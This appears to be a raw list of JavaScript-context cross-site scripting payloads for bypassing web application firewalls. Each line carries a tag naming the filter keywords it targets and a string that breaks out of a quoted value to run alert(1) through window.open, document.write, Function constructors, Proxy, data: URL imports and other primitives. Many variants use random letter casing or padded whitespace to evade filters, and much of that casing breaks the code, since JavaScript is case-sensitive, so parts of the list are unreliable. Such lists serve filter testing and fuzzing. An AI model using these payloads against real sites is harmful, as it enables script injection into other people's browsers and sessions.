navigator.serial.requestPort

(



)

.then

(

function

(



)



{

alert

(

1

)



}



)



;



//

[WAFnerror|FIELD:serial|CONTEXT:js|ENCODING:utf8]'; naviGaToR.Serial.requestPOrT().thEN(fuNctIoN(){aleRt(1)}); //

[WAFnerror|FIELD:serial|CONTEXT:js|ENCODING:utf8]'; navigator.serial.requestPort().then(FuNCTioN(){ALeRT(1)}); //

[WAFnerror|FIELD:serial|CONTEXT:js|ENCODING:utf8]'; navigator.serial.requestPort().then(FUnctIon(){ALErT(1)}); //

[WAFnerror|FIELD:serial|CONTEXT:js|ENCODING:utf8]'; navIgatOr.seRial.REquesTPort().THen(FunCtiOn(){Alert(1)}); //

[WAF:|FIELD:window|CONTEXT:js|ENCODING:utf8]'; window.open('javascript:alert(1)'); //

[WAF:|FIELD:window|CONTEXT:js|ENCODING:utf8]'; wIndow.open('JAvAsCRIPt:alErt(1)'); //

[WAF:|FIELD:window|CONTEXT:js|ENCODING:utf8]'; Window.Open('javascript:aLert(1)'); //

[WAF:|FIELD:window|CONTEXT:js|ENCODING:utf8]'; WINDOW.Open('javasCrIpt:ALErT(1)'); //

[WAF:|FIELD:window|CONTEXT:js|ENCODING:utf8]'; winDOw.open('javASCrIPT:AlErT(1)'); //

[WAF:|FIELD:window|CONTEXT:js|ENCODING:utf8]'    ;        window.open    (    'javascript    :    alert    (    1    )    '    )        ;        //

[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'; var w = open(); w.document.write('<script>alert(1)</script>'); //

[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'; var W = open(); w.DOCuMent.WrIte('<sCRIpT>aLErt(1)</sCRIpT>'); //

[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'; var w = open(); w.document.write('<ScRIPt>alert(1)</ScRIPt>'); //

[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'; var w = open(); w.DOCumENT.write('<sCripT>aLerT(1)</sCripT>'); //

[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'

;



var

w



=



open

(



)



;



w.document.write

(

'

<script>

alert

(

1

)



</script>

'

)



;



//

[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]; var w = open(); w.document.write(<script>alert(1)</script>'); //

[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'; vAr w = oPEn(); w.doCuMenT.write('<sCript>aLErt(1)</script>'); //

[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'; var w = open(); w.dOcument.write('<sCRipT>aleRt(1)</sCRipT>'); //

[WAF:script,onerror|FIELDpener|CONTEXT:js|ENCODING:utf8]'; opener.alert(1); //

[WAF:script,onerror|FIELDpener|CONTEXT:js|ENCODING:utf8]' ;  opener.alert ( 1 )  ;  //

[WAF:script,onerror|FIELDpener|CONTEXT:js|ENCODING:utf8]'; opener.alerT(1); //

[WAF:script,onerror|FIELDpener|CONTEXT:js|ENCODING:utf8]'; OPEneR.alERt(1); //

[WAF:script,onerror|FIELDpener|CONTEXT:js|ENCODING:utf8]'; opener.aLErT(1); //

[WAF:script,onerror|FIELDpener|CONTEXT:js|ENCODING:utf8]'; OpEner.aLErt(1); //

[WAF:alert,onerror|FIELD:parent|CONTEXT:js|ENCODING:utf8]'; parent.alert(1); //

[WAF:alert,onerror|FIELD:parent|CONTEXT:js|ENCODING:utf8]'; parent.alERT(1); //

[WAF:alert,onerror|FIELD:parent|CONTEXT:js|ENCODING:utf8]'; parent.alErt(1); //

[WAF:alert,onerror|FIELD:parent|CONTEXT:js|ENCODING:utf8]'    ;        parent.alert    (    1    )        ;        //

[WAF:alert,onerror|FIELD:parent|CONTEXT:js|ENCODING:utf8]'; parent.aLErt(1); //

[WAF:script|FIELD:top|CONTEXT:js|ENCODING:utf8]'; top.alert(1); //

[WAF:script|FIELD:top|CONTEXT:js|ENCODING:utf8]'; top.alERT(1); //

[WAF:script|FIELD:top|CONTEXT:js|ENCODING:utf8]'; top.AleRt(1); //

[WAF:script|FIELD:top|CONTEXT:js|ENCODING:utf8]'; tOp.aLErt(1); //

[WAF:script|FIELD:top|CONTEXT:js|ENCODING:utf8]' ;  top.alert ( 1 )  ;  //

[WAFnerror|FIELD:frames|CONTEXT:js|ENCODING:utf8]'; frames[0].alert(1); //

[WAFnerror|FIELD:frames|CONTEXT:js|ENCODING:utf8]'; frames[0].AlerT(1); //

[WAFnerror|FIELD:frames|CONTEXT:js|ENCODING:utf8]'; frames[0].aleRT(1); //

[WAFnerror|FIELD:frames|CONTEXT:js|ENCODING:utf8]' ;  frames[0].alert ( 1 )  ;  //

[WAFnerror|FIELD:frames|CONTEXT:js|ENCODING:utf8]'; fRameS[0].alert(1); //

[WAFnerror|FIELD:frames|CONTEXT:js|ENCODING:utf8]'; FRaMEs[0].alerT(1); //

[WAF:|FIELD:self|CONTEXT:js|ENCODING:utf8]'; self.alert(1); //

[WAF:|FIELD:self|CONTEXT:js|ENCODING:utf8]'; self.ALErt(1); //

[WAF:|FIELD:self|CONTEXT:js|ENCODING:utf8]'; self.AlerT(1); //

[WAF:|FIELD:self|CONTEXT:js|ENCODING:utf8]'; self.aleRT(1); //

[WAF:|FIELD:self|CONTEXT:js|ENCODING:utf8]'    ;        self.alert    (    1    )        ;        //

[WAF:script,alert|FIELD:global|CONTEXT:js|ENCODING:utf8]'; globalThis.alert(1); //

[WAF:script,alert|FIELD:global|CONTEXT:js|ENCODING:utf8]'    ;        globalThis.alert    (    1    )        ;        //

[WAF:script,alert|FIELD:global|CONTEXT:js|ENCODING:utf8]'; gLoBaltHIs.aLert(1); //

[WAF:script,alert|FIELD:global|CONTEXT:js|ENCODING:utf8]'; globalThis.aLErt(1); //

[WAF:script,alert|FIELD:global|CONTEXT:js|ENCODING:utf8]'; globalThis.ALeRT(1); //

[WAF:script,alert|FIELD:global|CONTEXT:js|ENCODING:utf8]'; gloBalthis.alERT(1); //

[WAF:script,onerror|FIELD:constructor|CONTEXT:js|ENCODING:utf8]'; [].constructor.constructor('alert(1)')(); //

[WAF:script,onerror|FIELD:constructor|CONTEXT:js|ENCODING:utf8]'; [].ConStRuctor.ConsTrucToR('aLERT(1)')(); //

[WAF:script,onerror|FIELD:constructor|CONTEXT:js|ENCODING:utf8]'; [].constructor.constructor('aLERT(1)')(); //

[WAF:script,onerror|FIELD:constructor|CONTEXT:js|ENCODING:utf8]'; [].cOnStructOr.constrUctOr('aLert(1)')(); //

[WAF:script,onerror|FIELD:constructor|CONTEXT:js|ENCODING:utf8]'; [].constructor.constructor('aLERt(1)')(); //

[WAF:script,onerror|FIELD:constructor|CONTEXT:js|ENCODING:utf8]' ;  [].constructor.constructor ( 'alert ( 1 ) ' )  (  )  ;  //

[WAF:alert,onerror|FIELD:proto|CONTEXT:js|ENCODING:utf8]'; [].proto.defineGetter('x', function(){alert(1)}); //

[WAF:alert,onerror|FIELD:proto|CONTEXT:js|ENCODING:utf8]'; [].pROto.definEgEttEr('X', FunctIoN(){aLert(1)}); //

[WAF:alert,onerror|FIELD:proto|CONTEXT:js|ENCODING:utf8]'; [].proto.defineGetter('x', fuNctION(){ALErT(1)}); //

[WAF:alert,onerror|FIELD:proto|CONTEXT:js|ENCODING:utf8]'; [].proto.defineGetter('x', FuNCtion(){AleRT(1)}); //

[WAF:alert,onerror|FIELD:proto|CONTEXT:js|ENCODING:utf8]'

;



[].proto.defineGetter

(

'x',

function

(



)



{

alert

(

1

)



}



)



;



//

[WAF:alert,onerror|FIELD:proto|CONTEXT:js|ENCODING:utf8]'; [].protO.dEFINEgeTtER('x', funcTiOn(){alERt(1)}); //

[WAF:script|FIELD:valueOf|CONTEXT:js|ENCODING:utf8]'; var o = {valueOf: function(){alert(1)}}; o + ''; //

[WAF:script|FIELD:valueOf|CONTEXT:js|ENCODING:utf8]'; var o = {valueOf: fuNCTion(){alert(1)}}; o + ''; //

[WAF:script|FIELD:valueOf|CONTEXT:js|ENCODING:utf8]'    ;        var    o        =            {    valueOf    :        function    (        )        {    alert    (    1    )        }        }        ;        o    +    ''    ;        //

[WAF:script|FIELD:valueOf|CONTEXT:js|ENCODING:utf8]'; vaR o = {vAlueOf: fUNCtioN(){AlErT(1)}}; o + ''; //

[WAF:script|FIELD:valueOf|CONTEXT:js|ENCODING:utf8]'; var o = {valueOf: funcTioN(){alert(1)}}; o + ''; //

[WAF:script|FIELD:valueOf|CONTEXT:js|ENCODING:utf8]'; vAR o = {valuEOf: FuNction(){Alert(1)}}; o + ''; //

[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]'; var o = {toString: function(){alert(1)}}; o + ''; //

[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]'; var o = {toString: funcTIOn(){AlErT(1)}}; o + ''; //

[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]; var o = {toString: function(){alert(1)}}; o + '; //

[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]'    ;        var    o        =            {    toString    :        function    (        )        {    alert    (    1    )        }        }        ;        o    +    ''    ;        //

[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]'; VaR o = {ToSTRIng: fUnCtiOn(){aLErT(1)}}; o + ''; //

[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]'; var o = {toString: fUnCtIoN(){ALeRt(1)}}; o + ''; //

[WAFnerror|FIELD:toString|CONTEXT:js|ENCODING:utf8]'; vAr O = {toStRing: FuncTioN(){aleRT(1)}}; o + ''; //

[WAF:|FIELD:symbol|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.toPrimitive]: function(){alert(1)}}; o + ''; //

[WAF:|FIELD:symbol|CONTEXT:js|ENCODING:utf8]'; Var o = {[SYMboL.topRimItivE]: function(){Alert(1)}}; o + ''; //

[WAF:|FIELD:symbol|CONTEXT:js|ENCODING:utf8]'    ;        var    o        =            {    [Symbol.toPrimitive]    :        function    (        )        {    alert    (    1    )        }        }        ;        o    +    ''    ;        //

[WAF:|FIELD:symbol|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.toPrimitive]: FUnCTIoN(){AlerT(1)}}; o + ''; //

[WAF:|FIELD:symbol|CONTEXT:js|ENCODING:utf8]'; var o = {[SymboL.ToprimitiVe]: fuNcTIoN(){alERT(1)}}; o + ''; //

[WAF:|FIELD:symbol|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.toPrimitive]: fuNCtIoN(){AlERt(1)}}; o + ''; //

[WAF:script,alert|FIELD:proxy|CONTEXT:js|ENCODING:utf8]'; var p = new Proxy({}, {get: function(){alert(1)}}); p.x; //

[WAF:script,alert|FIELD:proxy|CONTEXT:js|ENCODING:utf8]' ;  var p  =  new Proxy (  {  } ,  { get :  function (  )  { alert ( 1 )  }  }  )  ;  p.x ;  //

[WAF:script,alert|FIELD:proxy|CONTEXT:js|ENCODING:utf8]'; Var P = New PRoxy({}, {get: function(){alert(1)}}); p.x; //

[WAF:script,alert|FIELD:proxy|CONTEXT:js|ENCODING:utf8]'; VaR p = new Proxy({}, {Get: FUNcTIOn(){AlERt(1)}}); P.x; //

[WAF:script,alert|FIELD:proxy|CONTEXT:js|ENCODING:utf8]'; var p = new Proxy({}, {get: FunctIOn(){AlErT(1)}}); p.x; //

[WAF:script,alert|FIELD:proxy|CONTEXT:js|ENCODING:utf8]'; var p = new Proxy({}, {get: FuNcTIoN(){ALErT(1)}}); p.x; //

[WAF:script,onerror|FIELD:reflect|CONTEXT:js|ENCODING:utf8]'; Reflect.construct(function(){alert(1)}, []); //

[WAF:script,onerror|FIELD:reflect|CONTEXT:js|ENCODING:utf8]'    ;        Reflect.construct    (    function    (        )        {    alert    (    1    )        }    ,    []    )        ;        //

[WAF:script,onerror|FIELD:reflect|CONTEXT:js|ENCODING:utf8]'; Reflect.construct(fUNCTION(){ALERT(1)}, []); //

[WAF:script,onerror|FIELD:reflect|CONTEXT:js|ENCODING:utf8]'; Reflect.construct(FUNCTIon(){aLERT(1)}, []); //

[WAF:script,onerror|FIELD:reflect|CONTEXT:js|ENCODING:utf8]'; Reflect.ConStrUcT(FuncTiOn(){alERT(1)}, []); //

[WAF:script,onerror|FIELD:reflect|CONTEXT:js|ENCODING:utf8]'; rEflEcT.COnStrUct(funcTion(){alErt(1)}, []); //

[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]'; var a = []; a.join = function(){alert(1)}; a + ''; //

[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]; var a = []; a.join = function(){alert(1)}; a + '; //

[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]'; vaR a = []; a.joIN = FuNcTiOn(){AleRT(1)}; A + ''; //

[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]'; var a = []; a.join = funCTIon(){aLeRt(1)}; a + ''; //

[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]'    ;        var    a        =        []    ;        a.join        =        function    (        )        {    alert    (    1    )        }        ;        a    +    ''    ;        //

[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]'; var a = []; a.join = funcTIoN(){AlErt(1)}; a + ''; //

[WAF:alert,onerror|FIELD:array|CONTEXT:js|ENCODING:utf8]'; Var a = []; a.jOIn = fUncTion(){alErt(1)}; a + ''; //

[WAF:script|FIELD:regexp|CONTEXT:js|ENCODING:utf8]'; RegExp.prototype.exec = function(){alert(1)}; /x/.exec(); //

[WAF:script|FIELD:regexp|CONTEXT:js|ENCODING:utf8]'; RegExp.prototype.exec = fUNcTioN(){alErT(1)}; /x/.exec(); //

[WAF:script|FIELD:regexp|CONTEXT:js|ENCODING:utf8]'    ;        RegExp.prototype.exec        =        function    (        )        {    alert    (    1    )        }        ;        /x/.exec    (        )        ;        //

[WAF:script|FIELD:regexp|CONTEXT:js|ENCODING:utf8]'; reGExp.pROtOTypE.exeC = fuNctioN(){aLerT(1)}; /x/.exec(); //

[WAF:script|FIELD:regexp|CONTEXT:js|ENCODING:utf8]'; Regexp.proTotype.EXeC = FunCtIoN(){AlERT(1)}; /x/.eXec(); //

[WAF:script|FIELD:regexp|CONTEXT:js|ENCODING:utf8]'; RegExp.prototype.exec = fUNCTiON(){ALerT(1)}; /x/.exec(); //

[WAFnerror|FIELD:promise|CONTEXT:js|ENCODING:utf8]'; Promise.resolve().then(function(){alert(1)}); //

[WAFnerror|FIELD:promise|CONTEXT:js|ENCODING:utf8]'; PRomise.reSolve().tHen(functIon(){alert(1)}); //

[WAFnerror|FIELD:promise|CONTEXT:js|ENCODING:utf8]' ;  Promise.resolve (  ) .then ( function (  )  { alert ( 1 )  }  )  ;  //

[WAFnerror|FIELD:promise|CONTEXT:js|ENCODING:utf8]'; PRoMIse.ReSOlve().theN(FUnCtION(){aLert(1)}); //

[WAFnerror|FIELD:promise|CONTEXT:js|ENCODING:utf8]'; Promise.resolve().then(funCtIon(){aleRT(1)}); //

[WAFnerror|FIELD:promise|CONTEXT:js|ENCODING:utf8]'; Promise.resolve().then(FunctiON(){aLerT(1)}); //

[WAF:|FIELD:async|CONTEXT:js|ENCODING:utf8]'; (async function(){ alert(1) })(); //

[WAF:|FIELD:async|CONTEXT:js|ENCODING:utf8]'; (asyNC fuNctioN(){ ALeRt(1) })(); //

[WAF:|FIELD:async|CONTEXT:js|ENCODING:utf8]'

;





(

async

function

(



)



{



alert

(

1

)





}



)



(



)



;



//

[WAF:|FIELD:async|CONTEXT:js|ENCODING:utf8]'; (async FUnCTion(){ Alert(1) })(); //

[WAF:|FIELD:async|CONTEXT:js|ENCODING:utf8]'; (asYnc fUnCtiOn(){ Alert(1) })(); //

[WAF:|FIELD:async|CONTEXT:js|ENCODING:utf8]'; (async funCTioN(){ alERT(1) })(); //

[WAF:script,alert|FIELD:await|CONTEXT:js|ENCODING:utf8]'; var x = {then: function(r){ alert(1) }}; await x; //

[WAF:script,alert|FIELD:await|CONTEXT:js|ENCODING:utf8]'; var X = {tHEn: FuncTioN(r){ aLeRt(1) }}; aWAIt x; //

[WAF:script,alert|FIELD:await|CONTEXT:js|ENCODING:utf8]' ;  var x  =   { then :  function ( r )  {  alert ( 1 )   }  }  ;  await x ;  //

[WAF:script,alert|FIELD:await|CONTEXT:js|ENCODING:utf8]'; var x = {then: FUncTiON(r){ ALErT(1) }}; await x; //

[WAF:script,alert|FIELD:await|CONTEXT:js|ENCODING:utf8]'; var x = {then: FunctiON(r){ AlERt(1) }}; await x; //

[WAF:script,alert|FIELD:await|CONTEXT:js|ENCODING:utf8]'; vaR x = {tHen: FUnctiON(R){ aleRt(1) }}; awaIt x; //

[WAF:script,onerror|FIELD:generator|CONTEXT:js|ENCODING:utf8]'; function* g(){ alert(1) }; g().next(); //

[WAF:script,onerror|FIELD:generator|CONTEXT:js|ENCODING:utf8]'    ;        function*    g    (        )        {        alert    (    1    )            }        ;        g    (        )    .next    (        )        ;        //

[WAF:script,onerror|FIELD:generator|CONTEXT:js|ENCODING:utf8]'; FuNCTION* g(){ alert(1) }; g().next(); //

[WAF:script,onerror|FIELD:generator|CONTEXT:js|ENCODING:utf8]'; fUncTiOn* g(){ aLErt(1) }; g().nEXt(); //

[WAF:script,onerror|FIELD:generator|CONTEXT:js|ENCODING:utf8]'; fuNCtiON* g(){ aleRT(1) }; g().nExT(); //

[WAF:script,onerror|FIELD:generator|CONTEXT:js|ENCODING:utf8]'; FunCtIoN* g(){ aLert(1) }; g().next(); //

[WAF:alert,onerror|FIELD:iterator|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.iterator]: function*(){ alert(1) }}; [...o]; //

[WAF:alert,onerror|FIELD:iterator|CONTEXT:js|ENCODING:utf8]' ;  var o  =   { [Symbol.iterator] :  function* (  )  {  alert ( 1 )   }  }  ;  [...o] ;  //

[WAF:alert,onerror|FIELD:iterator|CONTEXT:js|ENCODING:utf8]'; VAR o = {[symBOl.IteratOr]: FunCtION*(){ ALeRt(1) }}; [...o]; //

[WAF:alert,onerror|FIELD:iterator|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.iterator]: FunCtiON*(){ ALErT(1) }}; [...o]; //

[WAF:alert,onerror|FIELD:iterator|CONTEXT:js|ENCODING:utf8]'; Var o = {[SyMbOl.iTErATor]: FuNction*(){ AlERt(1) }}; [...o]; //

[WAF:alert,onerror|FIELD:iterator|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.iterator]: fuNcTiOn*(){ ALERt(1) }}; [...o]; //

[WAF:script|FIELD:spread|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.iterator]: function*(){ alert(1) }}; [...o]; //

[WAF:script|FIELD:spread|CONTEXT:js|ENCODING:utf8]'; vAr o = {[sYMbol.iTeRaTOr]: FUNCTiOn*(){ AlErT(1) }}; [...O]; //

[WAF:script|FIELD:spread|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.iterator]: functioN*(){ ALerT(1) }}; [...o]; //

[WAF:script|FIELD:spread|CONTEXT:js|ENCODING:utf8]' ;  var o  =   { [Symbol.iterator] :  function* (  )  {  alert ( 1 )   }  }  ;  [...o] ;  //

[WAF:script|FIELD:spread|CONTEXT:js|ENCODING:utf8]'; var o = {[SymBol.iTEraTor]: fUnCtion*(){ alerT(1) }}; [...o]; //

[WAF:script|FIELD:spread|CONTEXT:js|ENCODING:utf8]'; var o = {[Symbol.iterator]: FuncTion*(){ alERt(1) }}; [...o]; //

[WAFnerror|FIELD:destruct|CONTEXT:js|ENCODING:utf8]'; var {x} = {get x(){alert(1)}}; //

[WAFnerror|FIELD:destruct|CONTEXT:js|ENCODING:utf8]' ;  var  { x }   =   { get x (  )  { alert ( 1 )  }  }  ;  //

[WAFnerror|FIELD:destruct|CONTEXT:js|ENCODING:utf8]'; var {x} = {get x(){aLeRt(1)}}; //

[WAFnerror|FIELD:destruct|CONTEXT:js|ENCODING:utf8]'; Var {x} = {gEt x(){ALeRt(1)}}; //

[WAFnerror|FIELD:destruct|CONTEXT:js|ENCODING:utf8]'; var {x} = {Get x(){AlerT(1)}}; //

[WAFnerror|FIELD:destruct|CONTEXT:js|ENCODING:utf8]'; var {x} = {get x(){aLerT(1)}}; //

[WAF:|FIELD:template_lit|CONTEXT:js|ENCODING:utf8]'; alert`1`; //

[WAF:|FIELD:template_lit|CONTEXT:js|ENCODING:utf8]'    ;        alert`1`    ;        //

[WAF:|FIELD:template_lit|CONTEXT:js|ENCODING:utf8]'; alErT`1`; //

[WAF:|FIELD:template_lit|CONTEXT:js|ENCODING:utf8]'; AlErT`1`; //

[WAF:|FIELD:template_lit|CONTEXT:js|ENCODING:utf8]'; AlERt`1`; //

[WAF:|FIELD:template_lit|CONTEXT:js|ENCODING:utf8]'; aLert`1`; //

[WAF:script,alert|FIELD:tagged|CONTEXT:js|ENCODING:utf8]'; function f(){alert(1)}; f`x`; //

[WAF:script,alert|FIELD:tagged|CONTEXT:js|ENCODING:utf8]'; funCtIoN f(){ALErt(1)}; f`x`; //

[WAF:script,alert|FIELD:tagged|CONTEXT:js|ENCODING:utf8]'; FUnCtiOn f(){alERT(1)}; f`x`; //

[WAF:script,alert|FIELD:tagged|CONTEXT:js|ENCODING:utf8]' ;  function f (  )  { alert ( 1 )  }  ;  f`x` ;  //

[WAF:script,alert|FIELD:tagged|CONTEXT:js|ENCODING:utf8]'; FUncTIon f(){alerT(1)}; f`x`; //

[WAF:script,alert|FIELD:tagged|CONTEXT:js|ENCODING:utf8]'; FUnCTION f(){ALErt(1)}; f`x`; //

[WAF:script,onerror|FIELD:module|CONTEXT:js|ENCODING:utf8]'; import('data:text/javascript,export default alert(1)').then(m => m.default()); //

[WAF:script,onerror|FIELD:module|CONTEXT:js|ENCODING:utf8]'; imporT('datA:teXt/JAVASCriPt,expOrT DeFaULt aLErt(1)').THen(m => M.DefAult()); //

[WAF:script,onerror|FIELD:module|CONTEXT:js|ENCODING:utf8]'; iMPORT('dAtA:tExt/javasCripT,export default alert(1)').then(M => M.default()); //

[WAF:script,onerror|FIELD:module|CONTEXT:js|ENCODING:utf8]'; import('data:text/JAvascriPT,export default AlerT(1)').then(m => m.default()); //

[WAF:script,onerror|FIELD:module|CONTEXT:js|ENCODING:utf8]' ;  import ( 'data : text/javascript,export default alert ( 1 ) ' ) .then ( m  = > m.default (  )  )  ;  //

[WAF:script,onerror|FIELD:module|CONTEXT:js|ENCODING:utf8]'; import('data:text/jAVAsCRIpt,export default aLeRt(1)').then(m => m.default()); //

[WAF:alert,onerror|FIELD:dynamic|CONTEXT:js|ENCODING:utf8]'; var x = 'alert(1)'; import('data:text/javascript,' + x); //

[WAF:alert,onerror|FIELD:dynamic|CONTEXT:js|ENCODING:utf8]'; var x = 'ALert(1)'; import('data:text/JaVasCriPt,' + x); //

[WAF:alert,onerror|FIELD:dynamic|CONTEXT:js|ENCODING:utf8]' ;  var x  =  'alert ( 1 ) ' ;  import ( 'data : text/javascript,' + x )  ;  //

[WAF:alert,onerror|FIELD:dynamic|CONTEXT:js|ENCODING:utf8]'; var X = 'alert(1)'; ImpoRt('data:tExt/jAvaScripT,' + X); //

[WAF:alert,onerror|FIELD:dynamic|CONTEXT:js|ENCODING:utf8]'; vAR x = 'aleRT(1)'; imPOrT('DaTA:TexT/javAscrIPT,' + x); //

[WAF:alert,onerror|FIELD:dynamic|CONTEXT:js|ENCODING:utf8]'; var x = 'alErt(1)'; import('data:text/JAVASCRipT,' + x); //

[WAF:script|FIELD:assert|CONTEXT:js|ENCODING:utf8]'; import('data:text/javascript,alert(1)', {assert: {type: 'javascript'}}); //

[WAF:script|FIELD:assert|CONTEXT:js|ENCODING:utf8]'; iMporT('DaTa:tExt/jAvasCrIPt,ALERt(1)', {asSert: {Type: 'jAvasCRIpt'}}); //

[WAF:script|FIELD:assert|CONTEXT:js|ENCODING:utf8]'; import('data:text/jAvascript,AleRt(1)', {assert: {type: 'jAvascript'}}); //

[WAF:script|FIELD:assert|CONTEXT:js|ENCODING:utf8]'; import('data:text/javascRIPt,ALERt(1)', {assert: {type: 'javascRIPt'}}); //

[WAF:script|FIELD:assert|CONTEXT:js|ENCODING:utf8]'; impOrt('dAta:text/JAvasCrIpT,AleRt(1)', {asSerT: {TYPE: 'JAvasCrIpT'}}); //

[WAF:script|FIELD:assert|CONTEXT:js|ENCODING:utf8]' ;  import ( 'data : text/javascript,alert ( 1 ) ',  { assert :   { type :  'javascript' }  }  )  ;  //

[WAFnerror|FIELD:meta_import|CONTEXT:js|ENCODING:utf8]'; import.meta.url; alert(1); //

[WAFnerror|FIELD:meta_import|CONTEXT:js|ENCODING:utf8]'; imporT.mETa.url; AlERt(1); //

[WAFnerror|FIELD:meta_import|CONTEXT:js|ENCODING:utf8]'; import.meta.url; ALeRt(1); //

[WAFnerror|FIELD:meta_import|CONTEXT:js|ENCODING:utf8]'

;



import.meta.url

;



alert

(

1

)



;



//

[WAFnerror|FIELD:meta_import|CONTEXT:js|ENCODING:utf8]'; ImporT.metA.uRl; AleRt(1); //

[WAFnerror|FIELD:meta_import|CONTEXT:js|ENCODING:utf8]'; import.meta.url; AlErT(1); //

[WAF:|FIELD:debugger|CONTEXT:js|ENCODING:utf8]'; debugger; alert(1); //

[WAF:|FIELD:debugger|CONTEXT:js|ENCODING:utf8]'; debuGGer; aLErt(1); //

[WAF:|FIELD:debugger|CONTEXT:js|ENCODING:utf8]'    ;        debugger    ;        alert    (    1    )        ;        //

[WAF:|FIELD:debugger|CONTEXT:js|ENCODING:utf8]'; debugger; aLERt(1); //

[WAF:|FIELD:debugger|CONTEXT:js|ENCODING:utf8]'; debugger; alerT(1); //

[WAF:|FIELD:debugger|CONTEXT:js|ENCODING:utf8]'; debuggEr; alErT(1); //

[WAF:script,alert|FIELD:with|CONTEXT:js|ENCODING:utf8]'; with({x: alert(1)}){}; //

[WAF:script,alert|FIELD:with|CONTEXT:js|ENCODING:utf8]'; with({x: aleRt(1)}){}; //

[WAF:script,alert|FIELD:with|CONTEXT:js|ENCODING:utf8]'; With({x: alert(1)}){}; //

[WAF:script,alert|FIELD:with|CONTEXT:js|ENCODING:utf8]' ;  with (  { x :  alert ( 1 )  }  )  {  }  ;  //

[WAF:script,alert|FIELD:with|CONTEXT:js|ENCODING:utf8]'; with({x: ALerT(1)}){}; //

[WAF:script,alert|FIELD:with|CONTEXT:js|ENCODING:utf8]'; with({x: AlERt(1)}){}; //

[WAF:script,onerror|FIELD:label|CONTEXT:js|ENCODING:utf8]'; x: { alert(1); break x; }; //

[WAF:script,onerror|FIELD:label|CONTEXT:js|ENCODING:utf8]'; x: { AlERt(1); bREAk X; }; //

[WAF:script,onerror|FIELD:label|CONTEXT:js|ENCODING:utf8]'    ;        x    :            {        alert    (    1    )        ;        break    x    ;            }        ;        //

[WAF:script,onerror|FIELD:label|CONTEXT:js|ENCODING:utf8]'; x: { AleRT(1); break x; }; //

[WAF:script,onerror|FIELD:label|CONTEXT:js|ENCODING:utf8]'; X: { aleRt(1); bReak x; }; //

[WAF:script,onerror|FIELD:label|CONTEXT:js|ENCODING:utf8]'; x: { alErt(1); break x; }; //

[WAF:alert,onerror|FIELD:throw|CONTEXT:js|ENCODING:utf8]'; try { throw alert(1) } catch(e) {}; //

[WAF:alert,onerror|FIELD:throw|CONTEXT:js|ENCODING:utf8]'; tRy { thRoW aLErT(1) } catch(E) {}; //

[WAF:alert,onerror|FIELD:throw|CONTEXT:js|ENCODING:utf8]'; tRY { Throw AlErT(1) } CaTch(e) {}; //

[WAF:alert,onerror|FIELD:throw|CONTEXT:js|ENCODING:utf8]' ;  try  {  throw alert ( 1 )   }  catch ( e )   {  }  ;  //

[WAF:alert,onerror|FIELD:throw|CONTEXT:js|ENCODING:utf8]'; try { throw aLErt(1) } catch(e) {}; //

[WAF:alert,onerror|FIELD:throw|CONTEXT:js|ENCODING:utf8]'; try { throw ALERT(1) } catch(e) {}; //

[WAF:script|FIELD:finally|CONTEXT:js|ENCODING:utf8]'; try {} finally { alert(1) }; //

[WAF:script|FIELD:finally|CONTEXT:js|ENCODING:utf8]'; try {} finally { aleRt(1) }; //

[WAF:script|FIELD:finally|CONTEXT:js|ENCODING:utf8]'; TRy {} finally { aLeRt(1) }; //

[WAF:script|FIELD:finally|CONTEXT:js|ENCODING:utf8]'; try {} finally { alErt(1) }; //

[WAF:script|FIELD:finally|CONTEXT:js|ENCODING:utf8]'; try {} FInallY { alERt(1) }; //

[WAF:script|FIELD:finally|CONTEXT:js|ENCODING:utf8]' ;  try  {  }  finally  {  alert ( 1 )   }  ;  //

[WAFnerror|FIELD:class|CONTEXT:js|ENCODING:utf8]'; class X { constructor() { alert(1) } }; new X(); //

[WAFnerror|FIELD:class|CONTEXT:js|ENCODING:utf8]' ;  class X  {  constructor (  )   {  alert ( 1 )   }   }  ;  new X (  )  ;  //

[WAFnerror|FIELD:class|CONTEXT:js|ENCODING:utf8]'; class X { ConStRucToR() { alERT(1) } }; nEw x(); //

[WAFnerror|FIELD:class|CONTEXT:js|ENCODING:utf8]'; clASS x { conStruCtor() { alErT(1) } }; nEw X(); //

[WAFnerror|FIELD:class|CONTEXT:js|ENCODING:utf8]'; class X { constructor() { aLERT(1) } }; new X(); //

[WAFnerror|FIELD:class|CONTEXT:js|ENCODING:utf8]'; class X { constructor() { alErT(1) } }; new X(); //

[WAF:|FIELD:static_block|CONTEXT:js|ENCODING:utf8]'; class X { static { alert(1) } }; //

[WAF:|FIELD:static_block|CONTEXT:js|ENCODING:utf8]'; class X { static { AlERt(1) } }; //

[WAF:|FIELD:static_block|CONTEXT:js|ENCODING:utf8]'; cLass x { StAtiC { AleRT(1) } }; //

